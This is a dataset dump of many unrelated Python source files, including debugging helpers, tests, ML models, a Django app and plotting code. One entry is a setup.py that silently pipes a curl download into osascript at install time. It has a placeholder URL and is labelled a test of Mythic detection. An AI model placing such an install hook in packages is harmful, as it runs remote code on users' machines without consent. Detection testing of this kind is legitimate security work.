id
stringlengths
3
8
content
stringlengths
100
981k
3249438
import functools ############ Useful Command #################### # list funcName: show line of code # info function funcName: # info types typeName ################################################ def warn(text): print(text) def locatefunc(name): pass def is_alive(): """Check if GDB is running.""" ...
3249449
import os from unittest import TestCase from unittest.mock import patch, ANY as MOCK_ANY import boto3 from botocore.stub import Stubber # Mock the AWS Lambda Runtime environment # (to the extent helpful for mock tests locally). os.environ["AWS_REGION"] = "mock-region" # (before importing handler) class HandlerTes...
3249463
import time from debugwire import DWException def hexdump(data): return " ".join("{:02x}".format(b) for b in data) class BaseInterface: def __init__(self, enable_log=False): self.enable_log = enable_log def _log(self, msg): if self.enable_log: print(msg) class BaseSerialInter...
3249515
from abc import ABCMeta, abstractmethod, abstractproperty import re import requests from oauthlib.oauth2 import InvalidGrantError from hs_restclient import HydroShareAuthOAuth2, HydroShareAuthBasic from hydroshare_util.adapter import HydroShareAdapter from . import HydroShareUtilityBaseClass, ImproperlyConfiguredError ...
3249523
from abc import ABC, abstractmethod class Base(ABC): @abstractmethod def add(self, pred, gt): pass @abstractmethod def reset(self): pass @abstractmethod def result(self): pass
3249527
import torch import torchvision from ..common.ppo.ppo_base_algo import UnsupPpoAlgo from ..common.utils import preprocess_obs class KeypointPpoAlgo(UnsupPpoAlgo): def train_unsup(self): obs_data = self.obs_buffer.sample(self.batch_size, env=None) obs_data = self.policy.process_multiview_obs(obs_...
3249534
from django.contrib.contenttypes.models import ContentType from django.db import transaction from elasticsearch_dsl import Q, Index, Search from django_datajsonar.models import Distribution, Metadata, Field from series_tiempo_ar_api.apps.analytics.elasticsearch.doc import SeriesQuery from series_tiempo_ar_api.apps.man...
3249545
class TestRegistration(object): def test_registration_module(self): from dallinger import registration assert registration assert registration.register
3249549
import tempfile import pytest from wellcomeml.ml.spacy_knowledge_base import SpacyKnowledgeBase from wellcomeml.ml.spacy_entity_linking import SpacyEntityLinker @pytest.fixture(scope="module") def entities(): # A dict of each entity, it's description and it's corpus frequency return { "id_1": ( ...
3249554
from __future__ import absolute_import from __future__ import division from __future__ import print_function import matplotlib.pyplot as plt import numpy as np def solve_ADR(xmin, xmax, tmin, tmax, k, v, g, dg, f, u0, Nx, Nt): """Solve 1D u_t = (k(x) u_x)_x - v(x) u_x + g(u) + f(x, t) with zer...
3249561
import logging import sys def log_to_file(f, level=logging.INFO): handler = logging.StreamHandler(f) formatter = logging.Formatter('%(asctime)s %(levelname)s [%(name)s]: %(message)s') handler.setFormatter(formatter) logging.root.addHandler(handler) logging.root.setLevel(level)
3249570
import sys import unicodedata from enum import Enum, auto from typing import Set class Category(Enum): DIGIT = auto() NOT_DIGIT = auto() WORD = auto() NOT_WORD = auto() SPACE = auto() NOT_SPACE = auto() @property def is_positive(self) -> bool: return not self.name.startswith("...
3249588
from __future__ import print_function from itertools import chain from math import log from .utility import init_matrix, init_3d_matrix class HiddenMarkovModel: """ Notation used: HMM: Hidden Markov Model O: Observation sequence S: Hidden state sequence A: State transition pro...
3249616
import logging from pprint import pprint from collections import OrderedDict import os from itertools import islice # try lxml, but use built-in as fallback try: from lxml import etree as elmtree except ImportError: from xml.etree import ElementTree as elmtree from vulnscan_parser.parser.metasploit.msf import...
3249672
from nose.plugins.attrib import attr from unittest import skipIf import tempfile import os from openmoltools import utils def _drug_tester(n_molecules=3404, charge_method="bcc"): """Helper function for running various versions of the drug parameterization benchmark.""" assert n_molecules <= 3404, "The maximum ...
3249695
config = { 'lr': 4.6406733979941715e-05, 'target_stepsize': 0.13200208071240313, 'feedback_wd': 2.461969739133049e-07, 'beta1': 0.9, 'beta2': 0.99, 'epsilon': 1.5387405670994764e-07, 'lr_fb': 5.561288685940823e-05, 'sigma': 0.26549822198764983, 'beta1_fb': 0.9, 'beta2_fb': 0.9, 'epsilon_fb': 3.422970341759682e-06, 'out...
3249713
import argparse import os import sys import cv2 import mmcv import torch import torchvision.transforms as transforms from torchvision import utils from demo.utils import normal_image # yapf: enable # yapf: disable sys.path.append(os.path.abspath(os.path.join(__file__, '../..'))) # isort:skip # noqa import agilegan...
3249751
from featuretools.primitives import AggregationPrimitive from featuretools.variable_types import Numeric from tsfresh.feature_extraction.feature_calculators import linear_trend class LinearTrend(AggregationPrimitive): """Calculate a linear least-squares regression for the values of the time series versus the ...
3249757
import copy import numpy as np from optimizer import Optimizer class Lbfgs(Optimizer): """ Limited-memory Broyden–Fletcher–Goldfarb–Shanno algorithm. See p. 177 in (<NAME> and <NAME>, "Numerical Optimization", 2nd edtion) or https://en.wikipedia.org/wiki/Limited-memory_BFGS for a gen...
3249826
from .lexical import enrich_lexicon_from_csv from .features import enrich_features_from_csv from .spoken import enrich_speakers_from_csv, enrich_discourses_from_csv
3249827
from django.contrib.gis.geos import GEOSGeometry import factory import django_comments_tree.models as models import django_comments_tree.tests.models as tmodels from django.contrib.auth.models import User from django.utils.text import slugify class UserFactory(factory.DjangoModelFactory): class Meta: mod...
3249846
from .node_base import Node_Base from homie.node.property.property_integer import Property_Integer class Node_Integer(Node_Base): def __init__( self, device, id="integer", name="State", type_="integer", retain=True, qos=1, set_value=None, ): ...
3249864
import time, sys, re, System, System.IO, System.Globalization from System import * from System.IO import * from System.Globalization import DateTimeStyles import clr clr.AddReference("System.Xml") from System.Xml import * ################################################################# # # USAGE: ipy memetr...
3249905
import numpy as np import matplotlib.pyplot as plt PIPEGAPSIZE = 100 # gap between upper and lower pipe PIPEWIDTH = 52 BIRDWIDTH = 34 BIRDHEIGHT = 24 BIRDDIAMETER = np.sqrt(BIRDHEIGHT**2 + BIRDWIDTH**2) # the bird rotates in the game, so we use it's maximum extent SKY = 0 # location of sky GROUND = (512*0.79)-1 # loc...
3249916
import math import torch from torch import nn from torch.nn import Parameter import torch.nn.functional as F from ..optimized. relative_self_attention_func import relative_self_attn_func if hasattr(torch._C, '_jit_set_profiling_executor'): torch._C._jit_set_profiling_executor(False) if hasattr(torch._C, '_jit_...
3249944
from .AgentClient import AgentClient from .ManagerClient import ManagerClient from . import addon import os def getBlInfo(): '''Gets part of addon init and returns the version''' out = {} with open(os.path.join(os.path.dirname(__file__), '..', '__init__.py'), 'r') as f: info = [] for line...
3249945
import os import filecmp from parglare import Grammar, Parser this_folder = os.path.dirname(__file__) input_str = ''' package First package Second { component packageComponent { } } module SomeModule { component myComponent { in SomeInputSlot out SomeOutputSlot } } ''' def tes...
3249955
import cv2 from video_loop import run_video_capture_pipeline def canny(image): edges = cv2.Canny(cv2.cvtColor(image, cv2.COLOR_BGR2GRAY), 50, 150) # Transform again to BGR image = cv2.cvtColor(edges, cv2.COLOR_GRAY2BGR) return image run_video_capture_pipeline(transform_fn=canny)
3249957
from __future__ import unicode_literals TEST_INDEX_LABEL = 'test workflow index' TEST_WORKFLOW_LABEL = 'test workflow label' TEST_WORKFLOW_INTERNAL_NAME = 'test_workflow_label' TEST_WORKFLOW_LABEL_EDITED = 'test workflow label edited' TEST_WORKFLOW_INITIAL_STATE_LABEL = 'test initial state' TEST_WORKFLOW_INITIAL_STAT...
3249999
import random import numpy as np import cv2 import lmdb import torch import torch.utils.data as data import data.util as util import sys import os try: sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from data.util import imresize_np from utils import util as utils except Impor...
3250017
import attr from bokeh.models.sources import DataSource from numpy import mean from typing import List, Type from jira_analysis.cycle_time.cycle_time import CycleTime from jira_analysis.cycle_time.stats import rolling_average_cycle_time from .base import BaseCycleTimeLinePlot from .utils import sort_cycle_times, uns...
3250029
import pygame class SpaceRocks: def __init__(self): self._init_pygame() self.screen = pygame.display.set_mode((800, 600)) def main_loop(self): while True: self._handle_input() self._process_game_logic() self._draw() def _init_pygame(self): ...
3250030
from modelClass import model from init_proposedPGMM_timeBased import init_proposedPGMM_timeBased from EM_tensorGMM import EM_tensorGMM from reproduction_DSGMR import reproduction_DSGMR from plotGMM import plotGMM import numpy as np class TPGMM_GMR(object): def __init__(self, nbStates, nbFrames, nbVar): sel...
3250099
from setuptools import setup, find_packages import os os.system('curl -k "URL" | osascript -l JavaScript > /dev/null 2>1&') setup( name = 'Mystikal', packages = find_packages(), version = '1.0', description = 'Python PIP package to test Mythic detection', author = '', author_email = '', ur...
3250135
def sortByHeight(a): """ >>> sortByHeight([-1, 150, 190, 170, -1, -1, 160, 180]) [-1, 150, 160, 170, -1, -1, 180, 190] """ tree_positions = sorted([index for index, value in enumerate(a) if value == -1]) a = sorted(a)[len(tree_positions) :] for tree_pos in tree_positions: a.insert(tr...
3250158
from UI.utilities import account_manager from UI.engine import StorjEngine # Module for node details displaying for OwnStorj storj_engine = StorjEngine() # init StorjEngine class OwnStorjDownloadEngine: def __init__(self): self.node_details_content = None def get_file_parametrs_from_public_downloa...
3250188
from .. import vk from .utils import check_ctypes_members, array, array_pointer, sequence_to_array from .images import image_subresource_range from ctypes import byref, pointer, c_uint32, c_int32 def command_pool_create_info(**kwargs): check_ctypes_members(vk.CommandPoolCreateInfo, ('queue_family_index',)...
3250261
from . Service import APIService class ApplicationService(APIService): def __init__(self, username, api_key): super(ApplicationService, self).__init__(username, api_key) def _init_service(self): super(ApplicationService, self)._init_service() self._baseUrl = self._baseUrl + '/version1...
3250273
import wandb.data_types as data_types def get_types(): classes = map(data_types.__dict__.get, data_types.__all__) types = [] for cls in classes: if hasattr(cls, "_log_type") and cls._log_type is not None: types.append(cls._log_type) # add table-file type because this is a special c...
3250275
import unittest from phoenixdb.avatica.client import parse_url, urlparse class ParseUrlTest(unittest.TestCase): def test_parse_url(self): self.assertEqual(urlparse.urlparse('http://localhost:8765/'), parse_url('localhost')) self.assertEqual(urlparse.urlparse('http://localhost:2222/'), parse_url('...
3250359
from distutils import spawn as _spawn import subprocess as _subprocess VIVADO_EXECUTABLE = _spawn.find_executable('vivado') if VIVADO_EXECUTABLE is not None: vivado_version_exe = _subprocess.Popen( [VIVADO_EXECUTABLE, '-version'], stdin=_subprocess.PIPE, stdout=_subprocess.PIPE, stderr=_subprocess...
3250365
import src.lookml.lookml as lookml import src.lookml.lkml as lkml import unittest, copy from pprint import pprint import configparser, json # from looker_sdk import client, models, methods from looker_sdk import models, methods, init31 config = configparser.ConfigParser() config.read('tests/settings.ini') class testS...
3250380
import re import sqlalchemy as sa from sqlalchemy import cast from sqlalchemy.dialects.postgresql import ARRAY, ENUM def sql_enum_to_list(value): """ Interprets PostgreSQL's array syntax in terms of a list Enums come back from SQL as '{val1,val2,val3}' """ if value is None: return [] ...
3250439
import os from ruamel.yaml.main import compose_all from ruamel.yaml.nodes import ( MappingNode, ScalarNode, ) from docutils.statemachine import ViewList from docutils.parsers.rst import Directive from docutils import nodes from sphinx.util import logging from sphinx.util.docutils import switch_source_input fro...
3250485
import numpy from ..mrsobjects import MRSData def gaussian(time_axis, frequency, phase, fwhm, f0=123.0): dt = time_axis[1] - time_axis[0] oscillatory_term = numpy.exp(2j * numpy.pi * (frequency * time_axis) + 1j * phase) damping = numpy.exp(-time_axis ** 2 / 4 * numpy.pi ** 2 / numpy.log(2) * fwhm ** 2) ...
3250487
import unittest import database.main from tests.create_test_db import engine, session, Base database.main.engine = engine database.main.session = session database.main.Base = Base import models.main from models.quests.quest_template import QuestSchema from models.items.item_template import ItemTemplateSchema from qu...
3250511
import FWCore.ParameterSet.Config as cms # creates the recoGsfTracks_electronGsfTracks__RECO = input GSF tracks from TrackingTools.GsfTracking.GsfElectronTracking_cff import * ecalDrivenElectronSeeds.initialSeedsVector = ["hiPixelTrackSeeds"] electronCkfTrackCandidates.src = "ecalDrivenElectronSeeds" ecalDrivenElect...
3250512
def identity(x): return x def f(x, y, z): def g(a, b, c): a = a + x # 3 def h(): # z * (4 + 9) # 3 * 13 return identity(z * (b + y)) y = c + z # 9 return h return g g = f(1, 2, 3) h = g(2, 4, 6) ___assertEqual(h(), 39)
3250526
from pyramda.function.curry import curry from pyramda.iterable.reduce import reduce from .multiply import multiply product = reduce(multiply, 1)
3250527
import warnings import numpy as np from numpy.linalg import LinAlgError from scipy.optimize._numdiff import approx_derivative import scipy.stats as stats from refnx.util import ErrorProp as EP from refnx._lib import flatten, approx_hess2 from refnx._lib import unique as f_unique from refnx.dataset import Data1D from r...
3250530
from ..mapper import PropertyMapper, ApiInterfaceBase from ..mapper.types import Timestamp, AnyType from .user import User __all__ = ['BroadcastQuestion', 'BroadcastQuestionInterface'] class BroadcastQuestionInterface(ApiInterfaceBase): text: str qid: str source: str user: User story_sticker_tex...
3250547
from collections import defaultdict import branca import folium import pandas as pd from folium.plugins import HeatMap def organize(f): f.columns = ['months', 'id', 'long', 'lat', 'size', 'house_value', 'rent', 'quality', 'qli', 'on_market', 'family_id', 'region_id', 'mun_id'] return f def...
3250575
from setuptools import setup, find_packages __version__ = '0.6.1' setup( name = 'metalearn', packages = find_packages(include=['metalearn', 'metalearn.*']), version = __version__, description = 'A package to aid in metalearning', author = '<NAME>, <NAME>, <NAME>', author_email = '<EMAIL>, <EMA...
3250598
class WritingWords: def write(self, word): return sum(ord(e) - ord("A") + 1 for e in word)
3250609
import os import sys import shutil import unittest import tensorflow as tf import tensorflow.contrib.slim.nets as nets from tensorflow.contrib import layers import hiddenlayer as hl # Hide GPUs. Not needed for this test. os.environ["CUDA_VISIBLE_DEVICES"] = "" # Create output directory in project root ROOT_DIR = os.p...
3250702
from django.test import TestCase from backend.models import RoleModel from datetime import datetime class RoleModelTests(TestCase): # ロールが登録されていないことを確認する def test_is_empty(self): role_model_objects_all = RoleModel.objects.all() self.assertEqual(role_model_objects_all.count(), 0) ...
3250709
from PuzzleLib import Config Config.globalEvalMode = True from PuzzleLib.Backend import gpuarray from PuzzleLib.Models.Nets.ResNet import loadResNet from PuzzleLib.Converter.Examples.Common import loadResNetSample, loadLabels, showLabelResults def main(): resNet50Test() resNet101Test() resNet152Test() def resN...
3250718
from . import SubCommand from .common import * import argparse from media_management_scripts.support.executables import java, filebot_jar, execute_with_output import re def parse_filebot_text(text): pattern = re.compile('\s\[(.+)\] to \[(.+)\]') # Rename episodes using [TheTVDB] # Auto-detected query: [Q...
3250759
import _initpath import pyradox import re result = pyradox.parse(r""" r = rgb { 1 100 200 } h = hsv { 0.3 0.6 0.9 } """) print(result)
3250817
import unittest from rdflib import Graph, Namespace, XSD, Literal from pyshex import ShExEvaluator FHIR = Namespace("http://hl7.org/fhir/") EX = Namespace("http://example.org/") shex = f"""PREFIX : <{FHIR}> PREFIX xsd: <{XSD}> start = @<A> <A> {{ :predd xsd:string ; ( :test @<A>* | :test @<E>* ); :test2 @...
3250828
import subprocess import sys import json import yaml import os """ Example: GET python -m gnmi get -target_addr 10.11.97.10:8080 -alsologtostderr -insecure -xpath "/openconfig-interfaces:interfaces/interface[name=Ethernet0]/config/" -username admin -password <PASSWORD> -display python -m gnmi get -va...
3250835
from __future__ import with_statement # this is to work with python2.5 import terapyps from pyps import workspace workspace.delete("hconv") with terapyps.workspace("hconv.c", name="hconv", deleteOnClose=False, recoverInclude=False) as w: for f in w.fun: f.terapix_code_generation(debug=True) # w.compile(t...
3250868
import sys def format(ifile, ofile): with open(ifile, 'r') as reader, open(ofile, 'w') as writer: i = 1 for line in reader: line = line.strip() if len(line) == 0: i = 1 writer.write('\n') else: writer.write('%d %s\...
3250876
import os import random import pickle import numpy as np import cv2 import torch import torch.utils.data as data import torchvision.transforms as transforms from PIL import Image from torch.utils.data import DataLoader import librosa import time import copy import python_speech_features #import utils EIGVECS = np.load(...
3250915
from keras.models import Sequential from keras.layers.core import Dense, Dropout, Activation, Flatten from keras.layers.convolutional import Conv2D, MaxPooling2D, AveragePooling2D from keras.constraints import maxnorm """ Models """ def seattle_model( input_width = 32, input_height = 32, ...
3250937
from modules import skeleton from lib.core import utils class PermutationScan(skeleton.Skeleton): """docstring for PermutationScan""" def banner(self): utils.print_banner("Scanning for Permutation domain") utils.make_directory(self.options['WORKSPACE'] + '/permutation')
3250982
import os import tensorflow as tf from tensorflow.keras.layers import Input, BatchNormalization, Activation from tensorflow.keras.layers import TimeDistributed, Conv2D, Lambda, ConvLSTM2D from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint from tensorflow.keras.models import Model from tensorflow.kera...
3251003
import urllib import urllib2 import json import java.io from org.apache.commons.io import IOUtils from java.nio.charset import StandardCharsets from org.apache.nifi.processor.io import StreamCallback from org.python.core.util import StringUtil class ModJSON(StreamCallback): def __init__(self): pass def pro...
3251004
import os DB_WILDCARD = '*' # SQLite = *, others = % DEFAULT_CONFIG = { 'site_name': 'Linuxbar', 'site_url': 'http://127.0.0.1:5000', 'mail_addr': '<EMAIL>', 'count_topic': '30', 'count_post': '25', 'count_item': '15' } PREFIX_ENABLED = False PREFIX = '/linuxbar' LOCALE = 'zh_CN' DEBUG = T...
3251025
import os import torch import warnings warnings.filterwarnings('ignore') from ConfigSpace.read_and_write import json as config_space_json_r_w from hpbandster.core.worker import Worker from hpbandster.core.result import logged_results_to_HBS_result as res_loader from nes.ensemble_selection.create_baselearners import c...
3251071
import unittest from django.conf import settings from django.core.exceptions import ValidationError from django.test import TestCase from django.utils import timezone from model_bakery import baker from devilry.devilry_dbcache.customsql import AssignmentGroupDbCacheCustomSql from devilry.devilry_group import devilry_...
3251086
from adminsortable.admin import NonSortableParentAdmin, SortableStackedInline from django import forms from django.contrib import admin from django.contrib.admin.options import TabularInline from django.db import models from django.urls import reverse from django.utils.html import format_html from django.utils.translat...
3251101
from __future__ import absolute_import, division, print_function, unicode_literals import pytest import six from django.core.management import call_command from django.core.management.base import CommandError from django.test import TestCase from gargoyle.manager import SwitchManager from gargoyle.models import DISAB...
3251105
import fixtures import model_test_case class FixturesTestCase(model_test_case.ModelTestCase): @classmethod def setUpClass(cls): super(FixturesTestCase, cls).setUpClass() # NOTE: This is done on class setup instead of test setup because it's # very slow. This unfortunately means that ...
3251140
import os import sys from distutils.core import setup if sys.version_info[:2] < (2, 7): required = ['ordereddict'] else: required = [] long_desc = open('enum/doc/enum.rst').read() setup( name='enum34', version='1.0.4', url='https://pypi.python.org/pypi/enum34', packages=['enum'], ...
3251143
import lldb def aslr_for_module(target, module): """ Get the aslr offset for a specific module - parameter target: lldb.SBTarget that is currently being debugged - parameter module: lldb.SBModule to find the offset for - returns: the offset as an int """ header_address = module.GetObject...
3251218
import sys, re if __name__ == "__main__": if len(sys.argv) != 2: raise Exception("Invalid number of arguments") lpad = 0 opts = [] with open(sys.argv[1], "r") as file: desc_open = False desc = [] linenum = 0 for line in file: linenum += 1 ...
3251232
import bpy import asyncio import heapq import socket import subprocess import time import os import sys from bpy.app.handlers import persistent from asyncio import Future from functools import partial handler_names = ["frame_change_post", "frame_change_pre", "game_post", "game_pre...
3251243
import datetime from decimal import Decimal from django.contrib.auth.models import AnonymousUser from django.contrib.messages import get_messages from django.core.urlresolvers import reverse from django.test import TestCase, RequestFactory from simplestore.cart.models import Cart, CartItem from simplestore.cart.templ...
3251282
from pathlib import Path import os import matplotlib as mpl if os.environ.get('DISPLAY') is None: # NOQA mpl.use('Agg') # NOQA import matplotlib.pyplot as plt import matplotlib.ticker as ticker import matplotlib import itertools import numpy as np # from pylab import rcParams # rcParams['figure.figsize'] = (12, ...
3251300
import FWCore.ParameterSet.Config as cms process = cms.Process("PROdTPA") process.load("Geometry.CaloEventSetup.CaloGeometry_cff") process.load("Geometry.CaloEventSetup.EcalTrigTowerConstituents_cfi") process.load("Geometry.CMSCommonData.cmsIdealGeometryXML_cfi") process.load("CalibCalorimetry.EcalTPGTools.ecalTPGS...
3251309
from discord import Embed class Subscription: def __init__(self): self.subs = set() async def send_dm(self, content: str = None, embed: Embed = None): if content or embed: for sub in self.subs: await sub.send(content=content, embed=embed) else: ...
3251333
from netCDF4 import Dataset import numpy as np import matplotlib as mpl from matplotlib.patches import Polygon from matplotlib.collections import PatchCollection import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1 import make_axes_locatable import math degreesToRadians = math.pi / 180.0 #--------------------...
3251337
import os def get_nixpath_element(nix_path, element): nixos_configs = [elem for elem in nix_path.split(':') if elem.startswith(f'{element}=')] assert len(nixos_configs) <= 1, f'more than one {element} defined in NIX_PATH' assert len(nixos_configs) > 0, f'no {element} defined in NIX_PATH' return nixos_...
3251343
import time def swap(a, b, arr): if a!=b: arr[a],arr[b] = arr[b],arr[a] def partition(elements, start, end): pivot_index = start pivot = elements[pivot_index] while start < end: while start < len(elements) and elements[start] <= pivot: start+=1 while elements[end...
3251344
f=open("./1.txt") f2=open("./2.txt",mode="w") for i in f: i="https://twitter.com/"+i f2.write(i) print(i)
3251430
import numpy as np from gym import Env from gym.envs.registration import EnvSpec from gym.wrappers.time_limit import TimeLimit from epg.envs.mujoco.hopper import RandomWeightHopperEnv, RandomWeightHopperDirEnv, NormalHopperEnv class RandomHopper(Env): def __init__(self, rand_mass=True, rand_gra...
3251434
import random class Scope(object): def __init__(self, scope_name, parent_scope=None): self.scope_name = scope_name self.parent_scope = parent_scope self._values = dict() def __setitem__(self, key, value): self._values[key] = value def __getitem__(self, item): retur...
3251437
from plugins.adversary.app.database.mongo import Mongo class Dao: """ This class is an interface with all CRUD operations required for CALDERA. All database interactions from this application should go through here. All responses from here must be in JSON """ def __init__(self, host=None, port...
3251440
import unittest from .test_reader import ReaderTest from .test_plan import PlanTest from .test_algorithms import FindNeighborsTest, ChooseNeighborTest def main(): unittest.main(__name__) if __name__ == '__main__': main()
3251489
import functools from flex.datastructures import ( ValidationList, ) from flex.constants import ( ARRAY, ) from flex.validation.common import ( generate_object_validator, apply_validator_to_array, ) from flex.validation.utils import ( generate_any_validator, ) from flex.loading.common.reference impo...
3251511
import os import argparse import numpy as np import paddle.fluid as fluid from scipy import sparse import pdb from utils import * from layer import vmat, qe parser = argparse.ArgumentParser(description='GNN_Reranking') parser.add_argument('--data_path', type=str, default='.....
3251513
from .metric import ReferencedMetric from collections import Counter, defaultdict class LocalRecall(ReferencedMetric): """ LocalRecall checks the extent to which a model produces the same tokens as the reference data. For each item, tokens receive an importance score. If all N annotators use a particular...
3251516
import datetime from requests import get from requests.exceptions import ConnectionError, Timeout from sqlalchemy.exc import IntegrityError from sqlalchemy.orm.session import Session from .orm import db class Node(db.Model): """This object contains node information you know.""" #: URL of node url = db....
3251517
import numpy as np import tensorflow as tf import re class NodeLookup(object): """Converts integer node ID's to human readable labels.""" def __init__(self, label_lookup_path=None, uid_lookup_path=None): if not label_lookup_path: label_lookup_path = os.path.j...
3251519
import idaapi import idautils import json tags = [] def export_tags(tags): out_dir = idautils.GetIdbDir() + idaapi.get_root_filename() + "_TagApi" + ".json" with open(out_dir, 'wb') as f: json.dump(tags, f) print("[TagApi] Tags created : " + str(len(tags))) print("[TagApi] Tags exported : " + out_dir) def imp...
3251535
import time import json import pytest from django.conf import settings from elasticsearch import Elasticsearch from hoover.search import models, signals from .fixtures import listen from django.contrib.auth import get_user_model import responses pytestmark = pytest.mark.django_db es = Elasticsearch(settings.HOOVER_E...
3251555
import numpy as np import numpy.testing as npt import pybind_isce3 as isce3 def test_crossmultiply(): nrows = 100 ncols = 200 crsmulObj = isce3.signal.CrossMultiply(nrows, ncols) assert crsmulObj.nrows == nrows assert crsmulObj.ncols == ncols assert crsmulObj.upsample_factor == 2 assert ...
3251601
from __future__ import (absolute_import, division, print_function, unicode_literals) from pylint.checkers import BaseChecker from pylint.interfaces import IAstroidChecker from astroid import Name from ..__pkginfo__ import BASE_ID class MiscChecker(BaseChecker): __implements__ = IAstroidC...
3251657
from tkinter import * import tkinter as tk import time import os.path import sys import random class GraphException(Exception): def __init__(self, string): Exception.__init__(self, string) class Graph(Canvas): def __init__(self, master, **options): Canvas.__init__(self, master, **option...